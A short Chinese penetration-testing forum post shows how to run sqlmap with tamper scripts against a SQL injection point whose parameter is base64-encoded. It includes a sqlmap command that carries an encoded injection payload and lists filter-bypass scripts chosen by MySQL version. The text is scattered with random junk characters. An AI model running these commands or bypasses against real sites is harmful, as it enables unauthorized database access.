中国网络渗透测试联盟

标题: SQlMap Tamper注入Base64编码注入点 [打印本页]

作者: admin    时间: 2013-11-23 15:50
标题: SQlMap Tamper注入Base64编码注入点
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?$ K% [& r/ [& [
. _& F1 j/ `6 c) \% [* N7 w" g, K
sqlmap的tamper里有个base64encode.py
- |( @0 v# F* G$ M7 ^- v: I
' l" h$ h/ u; V1 i使用如下( @% e5 w9 ~) |' [1 u6 v
7 U, Q& [7 [! F/ z
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
, _, \, e+ D" z8 k& E
& E1 |: c* y! W4 z6 ^+ e9 H' J% i7 ?9 Y
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
; E  R& V; ~$ q
  J0 J2 A8 a' D, C- V/ h其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
5 t+ @- H; n4 v: b4 M& Y3 Y' s) Z9 [' F. y0 g% W
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入( l" \8 n9 r6 z
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
; {! x4 W0 B3 U4 H首先确定目标数据库版本,然后选择相应的脚本。$ W( D) L8 _- f$ t4 r
-v 3 --batch --tamper "space2hash.py"# \) |+ e# X4 X1 D) z; L
6 c/ }" }% i: _9 r8 ]! X
还有其他一些插件:
+ S! `' N8 d# {' V1 V* @encodes编码 ——charencode.py& L( |: w+ l+ {# u
base64编码 —— base64encode.py9 q9 a* a) X# j* o
替换空格和关键字 —— halfversionedmorekeywords.py
+ m5 I$ ^8 s& a; O/ y5 p
  o, i4 T+ t1 g
! j* y6 b  v: ^' m" I( s% N
" ]" Z0 q7 i( ~7 }* w- g

. s3 ^2 M. v% @, t* P; N0 y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2